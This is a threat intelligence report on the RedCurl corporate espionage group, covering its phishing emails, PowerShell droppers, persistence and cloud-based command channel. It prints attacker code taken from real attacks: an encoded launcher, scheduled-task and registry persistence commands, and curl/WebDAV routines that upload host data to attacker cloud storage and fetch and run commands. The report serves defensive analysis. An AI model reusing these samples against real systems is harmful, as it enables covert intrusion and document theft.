REDCURL

The pentest you didn't know about



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Introduction

RedCurl

A cyber espionage hacker group

The group's goal

is to conduct corporate espionage: steal documents containing commercially sensitive information and employees' personal data

Tools

The group acted as covertly as possible to minimize the risk of being discovered on the victim's network: RedCurl did not use actively communicating Trojans or remote administration tools One summer evening in 2019, **Group-IB's Computer Emergency Response Team (CERT-GIB)** received a call from a new customer who said that their company had been attacked. They asked for help in eliminating the incident's aftermath and identifying the hacker group responsible.

The duty CERT-GIB analyst examined the phishing email used at the initial infection stage. It was particularly well-written, which suggested that this was a planned targeted attack. The unique behavioral fingerprint — obtained as a result of dynamic analysis in **TDS Polygon**, a **Group-IB Threat Detection System** module, confirmed the analyst's hypothesis. The analyst immediately notified **Group-IB's Threat Intelligence** team about the incident and within a couple of hours the customer was informed about the targeted attack against their business.

Meanwhile, the email sample and the attack details caught the attention of Group-IB's Threat Intelligence specialists. The campaign conducted by the hacker group (unknown at the time) involved unique tools written in PowerShell, which is popular among IT specialists. Moreover, the emails targeted a specific team within the victim organization rather than the organization as a whole. It became obvious that it was not an ordinary cybercriminal group seeking to steal money. Group-IB specialists' findings confirmed earlier forecasts made in the analytical report "Hi-Tech Crime Trends 2019/2020": namely that espionage- and sabotage-oriented APT groups had come to play an increasingly prominent role on the hacker scene. One such group was the one in question: RedCurl.

In each analyzed campaign, the group's goal was to conduct espionage. The attackers infected computers in targeted departments within organizations and stole specific documents. One of the group's possible victims was an employee at a cybersecurity company that protects its customers against such attacks. Detected incidents related to this threat group took place in various industries and had a wide geographical scope: from Russia to North America. As such, it is likely that the attacks were ordered for the purpose of corporate espionage. This hypothesis is reinforced by the fact that the group acted as covertly as possible in order to minimize the risk of being discovered on the victim's network. For instance, RedCurl did not use actively communicating Trojans or remote administration tools with a graphical interface.

It should also be noted that RedCurl uses techniques similar to those used by Red Teaming and penetration testing specialists.

INTRODUCTION

This report contains the first ever descriptions of the tactics, tools, and infrastructure of RedCurl, a previously unknown group. In addition, this paper includes the first ever details about the group's kill chain, which were prepared by specialists at **Group-IB's Digital Forensics Lab**, as well as unique data collected during incident response operations related to campaigns attributed to RedCurl.

As part of their research, Group-IB's digital forensics experts verified the hypothesis that the techniques used by RedCurl are similar to those involved in the RedOctober and CloudAtlas campaigns, whose goal is also espionage. An in-depth analysis based on the MITRE ATT&CK® matrix did not reveal unambiguous links between these campaigns, however.

Indicators of compromise are given at the end of the report as usual, excluding the ones that can lead to the identification of RedCurl's victims. YARA and Suricata rules, however, are only available to **Group-IB Threat Intelligence** customers. Traditionally, the report features recommendations from Group-IB experts on preventive measures to help protect against the group's attacks.

Key findings

Name	RedCurl (given by Group-IB)
Goal	Corporate espionage and theft of documents
Active	2018 to present. Over more than two years, Group-IB has detected 26 targeted attacks
Geography	Russia, Ukraine, Canada, Germany, the United Kingdom, Norway
Victims	Construction companies, financial and consulting companies, retailers, banks, insurance companies, law firms, travel agencies
Language	The group is presumably Russian-speaking
Tools	 RedCurl created a set of PowerShell programs that can cumula- tively be called a framework and that includes: Droppers (including an initial dropper, InitialDropper) Key module FirstStageAgent (aka FSA) Two submodules called Channel1 (aka FSA.C1) and Channel2 (aka FSA.C2)
EMAIL WITH A LINK	DECOY
	DROPPER FSA

Figure 1. Trojan unpacking diagram

The Trojan receives commands from its operator through a cloud in the form of BAT scripts, which are simply subprograms. A total of 29 such command programs were identified.

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Figure. 2. Diagram of Trojan-operator interactions through the cloud

The group's technical characteristics	 Minimal use of binary code. Use of anti-detection techniques. Control over an infected computer through commands kept in a legitimate cloud storage. The commands are sent as Power- Shell scripts. Special scripts for displaying fake Outlook windows to intercept the logins and passwords of targeted individuals. The group usually remains in the victim's network for two to six months. The stage of spreading over the network is stretched
	over a long time to remain unnoticed for as long as possible. To achieve this, the group does not use any actively communi- cating Trojans or remote-control tools via RDP.
Target system	The main targets include office documents and emails.
Exfiltration of data to legitimate cloud storage	RedCurl uses cloud services such as cloudme.com, koofr.net, pcloud.com, idata.uz, drivehq.com, driveonweb.de, opendrive.com, powerfolder.com, docs.live.net, syncwerk.cloud, cloud.woelkli.com, and framagenda.org. To manage and access clouds, the threat actors use the service multcloud.com.

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Figure 3. Timeline

of RedCurl attacks

Geographical scope and targets

06/11/2018 DE 07/04/2018 DE 07/18/2018 UA 12/01/2018 2019 RU 07/02/2019 DE 07/10/2019 RU 07/11/2019 RU 07/18/2019 RU 07/25/2019 RU 07/30/2019 UA 07/31/2019 CA 08/06/2019 NO 08/08/2019 RU 08/14/2019 RU 09/12/2019 RU 09/23/2019 RU 09/24/2019 RU 10/15/2019 RU 10/18/2019 RU 11/27/2019 UΚ 12/20/2019 2020 UΚ 01/21/2020 RU 02/20/2020 RU 03/20/2020 RU 06/07/2020 RU 07/14/2020

2018

DE

All RedCurl attacks are targeted, i.e. emails and droppers are tailored to specific victims, which makes it possible to identify targets. Not all the victims have been identified, however. In some cases, only malware modules were discovered (rather than the initial dropper, which can reveal the target).

Since 2018, Group-IB has detected 26 attacks against targets in various industries, including:

- Construction companies
- Retailers
- Travel agencies
- Insurance companies
- Financial companies
- Banks
- Law and consulting firms

The geographical scope of RedCurl attacks includes Europe, the post-Soviet region, and North America. The victims of the 26 attacks detected are located in:

- Russia
- Ukraine
- · Canada
- · Germany
 - The United Kingdom
- Norway

Group-IB identified **14 organizations** that have become victims of RedCurl's espionage attacks, some on several occasions. Group-IB specialists contacted each of them and provided recommendations on further steps to eliminate the consequences of the attacks. Names of victims are not disclosed. At the time of writing, some of the companies continue to respond to the incidents.

Analysis of the customer's compromised data revealed a set of data relating to a team lead at a cybersecurity company. The IP addresses that communicated with RedCurl's cloud belong to the company in question. It is impossible to determine whether this data was compromised or whether this was an instance of controlled analysis of the Trojan by researchers.

Initial access

Spear-phishing emails

Were used by the group to get initial access to targeted companies

As is the case with many espionage campaigns, initial access to targeted infrastructures in RedCurl attacks involves spear-phishing emails. RedCurl's distinctive feature, however, is that the email content is carefully drafted. For instance, the emails displayed the targeted company's address and logo, while the sender address featured the company's domain name.

The attackers posed as members of the HR team at the targeted organization and sent out emails to multiple employees at once, which made the employees less vigilant, especially considering that many of them worked in the same department.

To deliver the payload, RedCurl used archives, links to which were placed in the email body. Despite the fact that the links redirected to public cloud storage services, the way they were disguised tricked users into thinking that they were visiting the company's official website:

	о ежегодном премировании сотрудников	3:56 F
То	☆	
Уважаемые коллеги!		
Просьва ознакомиться	а с обновленным Положением о ежегодном премировании сотрудников.	
Гекст Положения разм сайте: премировании сотрудн	иещен на корпоративном /corporate/internal/docs/HR/Положение о ежегодном ииков	
Скачать: Положение о) ежегодном премировании сотрудников	
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Figure 4. Example of a spear-phishing email sent by RedCurl

INITIAL ACCESS

From hr.all@kltn-dc01.mailsecure.tech 😭		🤊 Reply All	~ ~	Forward	More 🛩
Subject Положение о ежегодном премировании сотрудников				7/11/19	9, 5:39 PM
То 🏠					
Уважаемые коллеги!					
Просьба ознакомиться с обновленным Положением о ежегодном прем	ировании сотру	дников.			
Текст Положения размещен на корпоративном сайте: portal/corp премировании сотрудников	orate/internal/hr/	docs/Положе	ение о е	ежегодном	
С уважением,					
Дирекция по персоналу и организационному развитию					
ren.: web:					
Regulation on annual bonuses for employee	es				
Dear colleagues,					

Please see the updated Regulation on annual bonuses for employees.

You can find it on our corporate website at /ru/portal/corporate/internal/hr/ docs/Regulation on annual bonuses for employees

Regards,

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phone number:

web:

Figure 5. Example of a spear-phishing email sent by RedCurl

The phishing emails were sent using the domain name mailsecure[.]tech, and more specifically subdomains that imitated the target organization's legitimate domain. The specified domain name had been registered six months before the campaign was launched, on December 6, 2018. On the day of the attack, the SOA record was changed and Yandex was specified for the MX record:

<pre>\$ dig ru-datacenter.mailsecure.tech any</pre>
<pre>; <>> DiG 9.11.5-P1-lubuntu2.5-Ubuntu <>> ru-datacenter.mailsecure.tech any ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23555 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1</pre>
;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ru-datacenter.mailsecure.tech. IN ANY
;; ANSWER SECTION: ru-datacenter.mailsecure.tech. 1798 IN MX 10 mx.yandex.net. ru-datacenter.mailsecure.tech. 1798 IN TXT "yandex.verification: 2cda3cd533b95f45"
;; Query time: 61 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Вт июл 30 15:58:54 CEST 2019 ;; MSG SIZE rcvd: 150
<pre>\$ dig mailsecure.tech soa +short dnsl.registrar-servers.com. hostmaster.registrar-servers.com. 2019072503 43200 3600 604800 3601</pre>

Figure 6. Technical records of the domain mailsecure[.]tech

LNK, XLAM – 2020 EXE - 2019

files launched RedCurl.Dropper on the victim's computer



of a downloaded file with the extension made invisible

Naturally, the websites belonging to the targeted organizations did not host the archive, which was stored in the cloud, most often Dropbox. In addition to Dropbox, RedCurl's campaigns also involved free hosting services, especially Byethost and AttractSoft:

http://*******.byethost22.com/3/%D0%9F%D0%BE%D0%BB%D0%BE%D0 %B6%D0%B5%D0%BD%D0%B8%D0%B5%20%D0%BE%20%D0%B5%D0%B6%D0%B5%D0% B3%D0%BE%D0%B4%D0%BD%D0%BE%D0%BC%20%D0%BF%D1%80%D0%B5%D0%BC% D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B8%20%D1%81%D0 %BE%D1%82%D1%80%D1%83%D0%B4%D0 %BD%D0%B8%D0%BA%D0%BE%D0%B2.7z http://*******.byethost7.com/dl/*******.7z http://logs99.atwebpages.com/******/reports/ 002838177363613567218367647/actual/report.php http://mtpon34.myartsonline.com/report/2890000027835616636545613/ actual/report.php

Attacks carried out in 2020 involved LNK and XLAM files. The latter are add-in files for Excel 2010 and Excel 2007 based on XML with support for macros. As victims interacted with these files, an attacker-controlled cloud storage was set up on the local system as a network drive and launched **RedCurl.Dropper**, which was hosted there, after which a phishing document was displayed to the victim.

In the attacks observed in 2019, victims downloaded an archive with an EXE file, which was an SFX (self-extracting) archive. Launching this file extracted and launched RedCurl.Dropper. The launched file had a PDF or Microsoft Word icon, which meant that if showing file extensions was disabled on the victim's computer, there was a good chance that the file would not raise any suspicions.

In RedCurl's earlier campaigns carried out in 2018, the utility NirCmd was extracted from the SFX archive. NirCmd was used to launch the module FirstStageAgent_light. In addition to the SFX archive, RedCurl used MHT files, which were HTML pages with resources necessary for displaying the contents correctly. When such a file was opened in the browser, the user was asked to allow interaction between ActiveX and parts of the web page:

Klicken Sie auf Ja um den Inhalt anzuz	Internet Explorer An ActiveX control on this page might be unsafe to interact with other parts of the page. Do you want to allow this interaction? Yes No	
Several add-ons are ready for use.		Choose add-ons Don't enable X

Figure 8. MHT InitialDropper

In the case of an MHT file, **RedCurl.FirstStageAgent** was launched using Windows PowerShell. In addition, the contents of the phishing document or web page were displayed.



Figure 9. Types of Trojans in 2018, 2019, and 2020

RedCurl.FirstStageAgent was distributed in a similar way, using JavaScript. When it was launched, the victim was shown a legitimate web page that asked them to download, install, or re-install Microsoft 365 or Office 2019. A detailed description of RedCurl's toolset can be found in the **"Tools"** section.

Trojan execution and persistence in the system

The vast majority of tools used in RedCurl campaigns are Windows PowerShell scripts. For instance, a PowerShell script was used to launch RedCurl.Dropper and set up cloud storage as a network drive. Below is one such example:

```
powershell.exe -enc

"JgAgACIAcgB1AG4AZABsAGwAMwAyAC4AZQB4AGUAIgAgAEAAKAAiAHMAZABtAD

UALgBkAGwAbAAsAG8AQgBTAGkAUQBTAFUASQBTAHIAUwB5AE4AYQBJAGEAagBQA

HAAaQBWAFUAUQBCAE0AZwBBACIAKQA7ACAAbgBlAHQAIAB1AHMAZQAgAGgAdAB0

AHAAcwA6AC8ALwBhAHAAcAAuAGsAbwBvAGYAcgAuAG4AZQB0AC8AZABhAHYAIAB

uADYAegByAHMAcwA5AGQAbwBxAG8AagA2AGkAdQAxACAALwB1AHMAZQByADoAZg

BvAHkAdQBiAEAAdABoAGUAdAB1AG0AcABtAGEAaQBsAC4AYwBvAG0A0wAgAG4AZ

QB0ACAAdQBZAGUAIABcAFwAYQBwAHAALgBrAG8AbwBmAHIALgBuAGUAdABAAFMA

UwBMAFwAZABhAHYAIAAvAEQARQBMAEUAVABFADsA"

"rundl132.exe" @("sdm5.dll,oBSiQSUISrSyNaIajPpiVUQBMgA");

net use https://app.koofr.net/dav PASSWORD

/user:foyub@thetempmail.com;

net use \\app.koofr.net@SSL\dav /DELETE;
```

The above script is saved in a batch file and launched after the phishing SFX archive is opened using a VBScript script. Module persistence is sometimes established during the SFX archive opening stage. In such cases, a shortcut with a module launch command is created in the Startup directory.

RedCurl.Dropper, which is a library, is launched using rundll32.exe. RedCurl.FSA and the additional modules RedCurl.FSA.C1 and RedCurl.FSA.C2, on the other hand, are extracted from a CAB archive.

In earlier attacks that took place in 2018, the additional modules Channel1 and Channel2 were downloaded from the cloud. In the most recent attacks, the modules were located in the same CAB archive as FirstStageAgent, while RedCurl.Dropper itself was launched from a network drive set up during the initial access stage.

These tools helped the attackers download additional PowerShell scripts (as well as other tools necessary for achieving specific goals) from cloud storage spaces and execute them. A detailed description of the main and additional modules can be found in the **"Tools"** section.

Persistence for both the main and additional modules was established by creating scheduled tasks:

/c schtasks /Create /TN "LicenseAcquisitionService\ EnableLicenseAcquisitionTask" /SC hourly /ST 02:26 / tr "wscript.exe /B \"C:\Users\admin\AppData\Roaming\Microsoft\ EnableLicenseAcquisitionS\EnableLicenseAcquisitionF.vbs\"" /F In earlier attacks, persistence was ensured also through the Run keys in the Registry:

New-ItemProperty -Path Registry::HKCU\Software\Microsoft\
Windows\CurrentVersion\Run -Name MicrosoftCurrentUpdatesCheck
-Value """\$Channel1Dir\check.exe"" loop 65000 3600000 execmd
""cd ""\$Channel1Dir"" && call check.bat""" -Force | Out-Null

The names of both scheduled tasks and Registry keys were designed in such a way so as to make it extremely difficult to distinguish them from legitimate operating system components and applications: MicrosoftCurrentUpdatesCheck, MDMMaintenenceTask, WindowsActionDialog, etc.

Reconnaissance and lateral movement

For 2 to 6 months

RedCurl remains in the victim's network

Analysis of RedCurl campaigns revealed that the group remains in the victim's network for two to six months on average. The stage of spreading over the network is significantly extended in time as the group strives to remain unnoticed for as long as possible and does not use any active Trojans that could disclose its presence.

By using Windows PowerShell scripts and legitimate cloud services, RedCurl reduced detections of the tools they used to the minimum. As part of incident response operations, Group-IB specialists observed antivirus software being triggered by RedCurl.Dropper, but this occurred only after the malware had been in the system for several months.

The attackers also used Windows PowerShell scripts to collect information about the compromised system as well as about local and network drives:

- temp05\sys.txt
- /ALL>>temp05\whoami.txt
- logicaldisk get description,name,Size>>temp05\disks.txt
- Get-ChildItem "C:\\" -Recurse -Force | Out-File -FilePath ".\\temp05\\C.tmp"; Get-ChildItem "D:\\" -Recurse -Force | Out-File -FilePath " .\\temp05\\D.tmp";

The same scripts were also used to collect information about email accounts that could later be used for a new round of phishing campaigns.



As part of its campaigns, RedCurl used ADExplorer from the Sysinternals Suite to collect information about Active Directory:

- net use https://app.koofr.net/dav %ypass% /user:%ylogin% /persistent:no
 copy /Y "\\app.koofr.net@SSL\dav\Koofr\utils\ade.tmp"
 syspack.exe x -aoa -p%packpass2% "ade.tmp" -otemp011
 temp011\adexplorer.exe -accepteula -snapshot temp031 temp03\g0719.dat>>temp03\l.txt 2>&1
- 11 12 13 14 15 /T 120
 - syspack.exe a -p%packpass% -mhe=on -sdel -y \\app.koofr.net@SSL\dav\Koofr\STR\%computername%_&username%_dom_%random%_%date:~0,2%date:~3,2% _%TIME:~0,-9%%TIME:~3,2%.tmp temp03

Although this tool is intended for working with a graphical interface, the **snapshot** option makes it possible to launch it from the command line and save a copy of the Active Directory database to a file.

Unlike many other espionage groups, RedCurl does not seek to gain access to systems using the Remote Desktop Protocol or similar. Instead, the group sticks to tools with a command line interface using SSH for interactive access, for example.



In RedCurl campaigns, movement across the network was ensured using modified LNK files (shortcuts), which were placed in network drives.



LNK files

Used by RedCurl to substitute ***.jpg**, ***.pdf**, ***.doc**, ***.docx**, ***.xls**, and ***.xlsx** files. By opening such a file, the victim would launch RedCurl.Dropper By using a Windows PowerShell script, the attackers created LNK shortcuts for ***.jpg**, ***.pdf**, ***.doc**, ***.docx**, ***.xls**, and ***.xlsx** files hosted on network drives and turned on the "hidden" attribute for the original files. By merely opening a target file, the unsuspecting victim would launch RedCurl.Dropper together with it.

RedCurl.Dropper was also copied to the directory where the files were located on the network drive. Although this propagation method is "low and slow," it helps threat actors successfully bypass certain security systems.

LaZagne

The tool used by RedCurl to extract passwords not only from memory but also from files, such as those saved in the victim's browser

PyArmor

used by RedCurl to reduce the likelihood of RedCurl.Dropper being detected and obfuscate its code

On account of this particular characteristic of LNK files, specialists at Group-IB's Digital Forensics Lab were able to determine that these files had been opened by analyzing UserAssist, a source of artifacts traditionally used to search for traces of executable file launches and that normally does not contain such traces.

In addition to Windows PowerShell scripts, RedCurl's arsenal includes other tools. To harvest credentials, for instance, the attackers use an increasingly popular tool called **LaZagne**, which helps extract passwords not only from memory but also from files, such as those saved in the victim's browser. This tool is written in Python and is delivered to compromised hosts together with the Python interpreter. To reduce the likelihood of LaZagne being detected, the attackers used **PyArmor**, which helped obfuscate its code.



Moreover, a PowerShell script that displayed a phishing pop-up Microsoft Outlook window to the victim was used to collect authentication data.



Credentials entered by the user were saved to a text file and then checked for validity. This way, if a targeted organization did not have multi-factor authentication in place, the attackers could gain access to compromised users' email accounts even if the required data was not obtained through LaZagne.

Data exfiltration

RedCurl focuses on compromising email. The attackers had a Windows PowerShell script in their arsenal to exfiltrate and copy emails.



Apart from scripts, in some cases the hackers also used other tools to upload files to cloud services. In particular, they used the **megatools** set of utilities to upload data to Mega, a file storage service.

The hackers searched both local drives and corporate network storages for documents of interest. Among the stolen files were:

- Employee personnel files
- Construction documentation
- Legal action documents
- Internal documents

Tools

PowerShell

The entire set of RedCurl's custom tools is written in PowerShell

The entire set of the group's custom tools is written in PowerShell. When these tools are in operation, third-party programs are additionally downloaded, including ones written in Python. RedCurl's custom tools include:

- RedCurl.InitialDropper
- RedCurl.Dropper
- RedCurl.FSA aka FirstStageAgent
- RedCurl.FSA.C1 + RedCurl.FSA.C2
- RedCurl.Commands



InitialDropper

The initial dropper RedCurl.InitialDropper is a regular SFXRAR or 7z archive with a PDF icon. This has not always been the case, however. Analysis of historical data revealed:

- · VBS_Dropper, a VBS script
- · XLAM_Dropper, an MS Office add-in file
- · LNK_Dropper, an MS Windows shortcut

Launching it will unpack a decoy document, a malicious DLL library called RedCurl.Dropper, a VBS script, and a BAT command shell script.



Figure 11. Contents of SFX InitialDropper

The user will be shown the decoy document while the system utility wscript.exe executes the extracted VBS script, which launches the cmd.exe command line interpreter and the extracted BAT script.



Figure 12. SFX InitialDropper diagram

This will result in the launch of a PowerShell script that will set up a cloud storage as a network drive using the system utility net.exe:

net use \\app.koofr.net@SSL\dav /DELETE; net use https://app.koofr.net/dav PASSWORD /user:foyub@thetempmail.com;

Next, the script will use the system utility rundll32.exe to launch the dropper as the malicious library RedCurl.Dropper:

```
"rundll32.exe" @("sdm5.dll,oBSiQSUISrSyNaIajPpiVUQBMgA");
```

Dropper

When Dropper is launched, tasks are created, which ensures the persistence of the key module RedCurl.FSA and the two "channels," RedCurl.FSA.C1 and RedCurl.FSA.C2.

```
C:\Windows\System32\cmd.exe
/c schtasks /Create /TN «WsSwapAssessmentTask» /SC hourly /
M0 4 /ST 00:20 /tr «wscript.exe /B \»C:\Users\John\AppData\Local\
Microsoft\WsSwapAssessmentTaskF\WsSwapAssessmentTaskS.vbs\»» /F
C:\Windows\System32\cmd.exe /c schtasks /Create /
TN «IndexerAutomaticMaintenance\IndexerAutomaticMaintenanceTask» /
SC hourly /ST 01:38 /tr «wscript.exe /B \»C:\Users\John\AppData\
Roaming\IndexerAutomaticMaintenanceF\IndexerAutomaticMaintenance.
vbs\»» /F
C:\Windows\System32\cmd.exe /c schtasks /Create /
TN «LicenseAcquisitionService\EnableLicenseAcquisitionTask» /
SC hourly /ST 02:13 /tr «wscript.exe /B \»C:\Users\John\AppData\
Roaming\Microsoft\EnableLicenseAcquisitionS
EnableLicenseAcquisitionF.vbs\»» /F
```

The program then extracts and saves a CAB archive to the disk, creates a new directory, and unpacks the contents of the CAB archive into that directory.

Extract +		hLdBKiA.cab [read only]				
< > 🕰 Location: 🖬 /						
Name	- Siz	ze	Туре	Modified		
7za.dll	256	5.5 kB	unknown	28 January 2018, 18:00		
🗞 curl.exe	815	5.2 kB	DOS/Windo	16 May 2018, 23:39		
emfZVqu.tmp	12.	8 kB	unknown	30 July 2019, 14:42		
PiPtFlvF.bat	10.	0 kB	unknown	30 July 2019, 14:42		
🗼 syspack.exe	69	2.2 kB	DOS/Windo	28 January 2018, 18:00		
UfpbGslg.tmp	28.	5 kB	unknown	30 July 2019, 14:42		
WsSwapAssessmentTaskS.vbs	227	7 bytes	unknown	30 July 2019, 14:42		
XptdQI	30	9.6 kB	unknown	30 July 2019, 14:42		

Figure 13. Contents of the CAB file

The archive contains the **7-Zip utility**, which has traditionally been used to create and unpack archives. All command modules are encrypted using 7-Zip, which is also actively used by RedCurl's Trojan. The archive also contains a utility called curl, which sends requests and ensures communication with the C&C server.

FirstStageAgent aka FSA

FirstStageAgent is designed to perform the following functions:

- 1. Extract the modules RedCurl.Channel1 and RedCurl.Channel2.
- 2. Upload information about the infected machine.
- 3. Download and execute a new command (module).

The FSA key module connects to the cloud service to upload data and obtain commands. The commands are sent as BAT scripts, the body of which usually contains a PowerShell script or an encoded executable file and launch instructions.

```
$Login="jisocukom@maillink.in";
$Pass= ;
$ConnStr = "https://dav.box.com/dav";
$fPass="Se8ffAmRLs4kgeCXgl_ZLMMKooYVYeKkzVmEU78ZWibaNx18PRq";
$fChannel1Dir="${env:appdata}\IndexerAutomaticMaintenanceF";
$Channel2Dir="${env:appdata}\Microsoft\EnableLicenseAcquisitionS";
Start-Sleep -s 1;
$IsProxy = $True;
$Proxy=(new-object System.Net.WebClient).Proxy.GetProxy("http://www.msn.com").OriginalString;
if ($Proxy -eq "http://www.msn.com") {
    $IsProxy = $False
};
```

55	11	if(\$IsProxy) {
56		<pre>if (\$(.\curl.exe -U :proxy-ntlmproxy \$Proxyanyauthuser "\${Login}:\${Pass}" -k -L -ihead "\${ConnStr}/SYS/\${env:</pre>
		computername}.jpg" -sw "%{http_code}") -eq 200) {
57		<pre>.\curl.exe -U :proxy-ntlmproxy \$Proxysilentanyauthuser "\${Login}:\${Pass}" -o "\$env:computername.jpg" -k -L "\${ ConnStr}/SYS/\${env:computername}.jpg"; echo "\${env:username}_\${Get-Date -Format g}" Add-Content -Path "\${env: computername}.jpg";</pre>
		.\curl.exesilent -U :proxy-ntlmproxy \$Proxyanyauthuser "\${Login}:\${Pass}" -k -L -X DELETE "\${ConnStr}/SYS/\${env:
		<pre>computername}.jpg" Out-Null; .\curl.exesilent -U :proxy-ntlmproxy \$Proxyanyauthuser "\${Login}:\${Pass}" -k -T "\${env:computername}.jpg" "\${</pre>
60		ConnStr}/SYS/" Out-Null; Remove-Item "\${env:computername}.jpg" -Force;
61		A else {
62		<pre>.\curl.exesilent -U :proxy-ntlmproxy \$Proxyanyauthuser "\${Login}:\${Pass}" -o "\${env:computername}.jpg" -k -L "\${ ConnStr}/SYS/tmp.jpg";</pre>
63		<pre>echo "s{env:username}_s(Get-Date -Format g)" Add-Content -Path "\${env:computername}.jpg";</pre>
64		<pre>.\curl.exesilent -U :proxy-ntlmproxy \$Proxyanyauthuser "\${Login}:\${Pass}" -k -T "\${env:computername}.jpg" "\${ ConnStr}/SYS/" Out-Null; Remove-Item "\${env:computername}.jpg" -Force;</pre>
)
66		} else {
67		<pre>if (\$(.\curl.exeanyauthuser "\${Login}:\${Pass}" -k -L -ihead "\${ConnStr}/SYS/\${env:computername}.jpg" -sw "%{http_code}")</pre>
68		<pre>.\curl.exesilentanyauthuser "\${Login}:\${Pass}" -o "\$env:computername.jpg" -k -L "\${ConnStr}/SYS/\${env:computername} .jpg"; echo "\${env:username}_\$(Get-Date -Format g)" Add-Content -Path "\${env:computername}.jpg";</pre>
		<pre>.\curl.exe —silent —anyauth —user "\${Login}:\${Pass}" -k -L -X DELETE "\${ConnStr}/SYS/\${env:computername}.jpg" Out-Null;</pre>
70		<pre>.\curl.exe — silent — anyauth — user "\${Login}:\${Pass}" -k -T "\${env:computername}.jpg" "\${ConnStr}/SYS/" Out-Null;</pre>
71		Remove_Item "\${env:computername}.jpg" -Force;
72		} else {
73 74		<pre>.\curl.exe silent anyauth user "\${Login}:\${Pass}" -o "\${env:computername}.jpg" -k -L "\${ConnStr}/SYS/tmp.jpg"; echo "\${env:username}_\$(Get-Date -Format g)" Add-Content -Path "\${env:computername}.jpg";</pre>
74 75		<pre>echo "stenv:username}_s(Get=Date =Format g)" Add=Content =Fath "stenv:computername}.jpg"; .\curl.exesilentanyauthuser "\${Login}:\${Pass}" -k -T "\${env:computername}.jpg" "\${ConnStr}/SYS/" Out-Null;</pre>
76		Remove-Item "S{env:computername}.jpg" -Force;
77		Active=_tem stelly.computerinamer.jpg =lorce,
78		
79		mkdir tempexec -Force Out-Null; attrib +S +H tempexec;
80		if (SISProxy) {
81		<pre>if (\$(.\curl.exe -U :proxy-ntlmproxy \$Proxyanyauthuser "\${Login}:\${Pass}" -k -L -ihead "\${ConnStr}/enc/cmd.txt" -sw "%{http_code}") -eq 200) {</pre>
82		<pre>.\curl.exe -U :proxy-ntlmproxy \$Proxysilentanyauthuser "\${Login}:\${Pass}" -o ".\tempexec\cmd.txt" -k -L "\${ ConnStr}/enc/cmd.txt";</pre>
83		<pre>\$cn=Decrypt-CMD(\$CKey);</pre>
84		<pre>if(\$cn -ne "") {Start-Process -FilePath ".\tempexec\\${cn}.bat" -NoNewWindow;</pre>
85		
86		
87		lse {
88 89		<pre>if (\$(.\curl.exeanyauthuser "\${Login}:\${Pass}" -k -L -ihead "\${ConnStr}/enc/cmd.txt" -sw "%{http_code}") -eq 200) { .\curl.exesilentanyauthuser "\${Login}:\${Pass}" -o ".\tempexec\cmd.txt" -k -L "\${ConnStr}/enc/cmd.txt"; }</pre>
90 91		<pre>\$cn=Decrypt-CMD(\$CKey); if(\$cn -ne "") {</pre>
92		Start-Process -FilePath ".\tempexec\\${cn}.bat" -NoNewWindow;
93		};
94		
	};	

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- Download of a module with commands
- 2 Launch of a decrypted version of the BAT file using a VBS script (this step may be omitted)
- Launch of the BAT file
- 4 Launch of the main part of the module

Figure 14. FSA operation algorithm

Along with the FSA key module, two auxiliary modules are installed: FSA.Channel1 aka C1 and FSA.Channel2 aka C2. They act in the same way as the key module, but they use different accounts to communicate with the cloud.

RedCurl uses cloud services such as cloudme.com, koofr.net, pcloud.com, idata.uz, drivehq.com, driveonweb.de, opendrive.com, powerfolder.com, and docs.live.net.

The modules RedCurl.Channel1 and RedCurl.Channel2 are stored in password-protected archives. The key for the archives is contained in an encrypted FirstStageAgent file. During the first start, FirstStageAgent extracts the contents of the archives using the "syspack.exe" utility. If the operation is successful, the "syspack.exe", "7za.dll", and "curl.exe" files are copied to the directory with the modules. Examples of commands for extracting content from archives are presented below:

.\syspack.exe x -aoa -p\${fPass} \$Channel1_path -o\${Channel1Dir}; .\syspack.exe x -aoa -p\${fPass} \$Channel2_path -o\${Channel2Dir};

The program communicates with operators by reading and writing to files located in the cloud storage. To interact with the cloud, FirstStageAgent uses the WebDav technology, which allows for operations with files over the HTTP protocol. Requests to the cloud are performed using the **"curl.exe" utility**. FirstStageAgent first checks for proxy settings. If found, the settings are used to make requests to the cloud. All downloads from and uploads to the cloud are carried out using the curl utility. Prior to sending, data is encrypted using the 7-Zip utility.



Figure 15. Diagram of Trojan-operator interactions through the cloud

Before obtaining commands, FirstStageAgent logs the start time. To do so, the program adds the username as well as the current date and time to the end of the file "SYS\\${env:computername}.[jpg|txt]" located on the cloud service. The message is formed by the command "\${env:username}_\$(Get-Date -Format g)". To perform the above actions, FirstStageAgent takes the following steps:

- Downloads the file "SYS\\${env:computername}.[jpg|txt]" to the folder with the module.
- 2. Adds the username as well as the current time and date to the end of the file.
- 3. Deletes the file "SYS\\${env:computername}.[jpg|txt]" from the cloud.
- Downloads the modified file "SYS\\${env:computername}.[jpg|txt]".
- 5. Removes the downloaded file from the system.

It is worth noting that modules are stored on the infected system in encrypted form. The modules are encrypted using the ConvertTo-SecureString function based on the AES algorithm. A random sequence of bytes is used as a key. The decryption key is always new for each attack and each module. The final stage of FirstStageAgent's operation is to check for the file "enc/cmd.txt", which contains a new module with commands. The file stored on the server is a System.Security.SecureString object. The ConvertTo-SecureString method is used to decrypt the module. The decryption key is located within the FirstStageAgent file. Analysis revealed that a new encryption key is generated for each attack. Apart from encryption, the data is Base64-encoded. Below is a code section responsible for decryption:

```
function Decrypt-CMD([BYTE[]] $key) {
  $path = «.\tempexec\cmd.txt»;
  $cmdname = -join ((48..57) + (97..122) | Get-Random -Count 8 | %
{[char]$_});
  $dec = Get-Content $path | ConvertTo-SecureString -Key $key;
  $Ptr = [System.Runtime.InteropServices.
Marshal]::SecureStringToCoTaskMemUnicode($dec);
  $result = [System.Runtime.InteropServices.
Marshal]::PtrToStringUni($Ptr);
  [System.Runtime.InteropServices.
Marshal]::ZeroFreeCoTaskMemUnicode($Ptr);
  $bytes=[Convert]::FromBase64String($result);
  $bytes | Set-Content «.\tempexec\${cmdname}.bat» -Encoding Byte
-Force;
  Start-Sleep 10;
  Remove-Item .\tempexec\cmd.txt -Force; return $cmdname;
}
```

